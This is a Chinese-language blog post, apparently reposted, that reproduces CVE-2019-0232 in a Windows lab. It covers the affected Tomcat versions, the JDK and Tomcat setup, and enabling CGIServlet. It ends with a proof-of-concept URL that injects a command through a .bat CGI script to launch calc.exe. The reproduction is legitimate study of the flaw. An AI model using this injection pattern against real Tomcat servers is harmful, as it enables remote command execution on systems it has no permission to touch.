CVE-2019-0232 遠程代碼執行漏洞-復現


0x00 漏洞介紹

  該漏洞是由於Tomcat CGI將命令行參數傳遞給Windows程序的方式存在錯誤,使得CGIServlet被命令注入影響。

  該漏洞只影響Windows平台,要求啟用了CGIServlet和enableCmdLineArguments參數。但是CGIServlet和enableCmdLineArguments參數默認情況下都不啟用。

0x01 漏洞影響范圍

  Apache Tomcat 9.0.0.M1 to 9.0.17        

  Apache Tomcat 8.5.0 to 8.5.39        

  Apache Tomcat 7.0.0 to 7.0.93

0x02 環境

  VMware 虛擬機 windows 7      

  JDK 1.8.0_73      

  Apache tomcat 9.0.13

0x03 復現步驟

(一)首先安裝JDK(這里我安裝的是JDK 1.8.0_73)然后配置環境變量

    

 

 

 

 

    

 

  新建變量名為JAVA_HOME的變量變量值為你安裝jdk的路徑

  例:變量名:JAVA_HOME變量值:C:\Program Files (x86)\Java\jdk1.8.0_73

  新建變量名為JRE_HOME的變量變量值為你安裝jdk文件夾中jre文件夾的路徑

  例:變量名JRE_HOME變量值: C:\Program Files (x86)\Java\jdk1.8.0_73\jre

  新建變量名為CLASSPATH的變量變量值為.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar(ps:前面有個點)

  在變量path新增變量值為;%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin(ps:前面有;)  

  配好變量后打開cmd命令框輸入java –version出現java版本號等信息則說明變量安裝成功。

   如圖:

      

(二)安裝tomcat

  這里我用的是 apache - tomcat - 19.0.3

  tomcat各個版本下載鏈接:https://archive.apache.org/dist/tomcat/

  安裝完成之后,cmd 啟動 tomcat

 

打開瀏覽器訪問正常,說明tomcat安裝完畢。 

 

 

 

(三)修改配置文件

  1.apache-tomcat-9.0.13\conf\web.xml  該文件    

   需要取消掉注釋的一共是倆部分,並且將下圖框中內容插入

 

 

  2.conf/context.xml  中的<Context>添加privileged="true"語句 如下圖

 

 

 

  3.在C:\Users\lenovo\Desktop\apache-tomcat-9.0.13\apache-tomcat-9.0.13\webapps\ROOT\WEB-INF    

   下創建一個cgi-bin文件夾,並在文件夾內創建一個bat文件可以什么都不寫或者寫一些bat語句。

     

 

 

     

 

  一切准備完成。

(四)重啟tomcat。

(五)利用payload

  payload:http://localhost:8080/cgi-bin/hello.bat?&C:\Windows\System32\calc.exe

  該payload為打開計算器,訪問之后成功打開計算器。

   

 

(六)復現成功。

 

Tank You !!

        

 

博主公眾號

 

 

本文歡迎轉載。 如轉載請務必注明出處。 覺得寫的不錯的可以右側打賞一手。 群在上邊歡迎大家來撩。

 

 

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM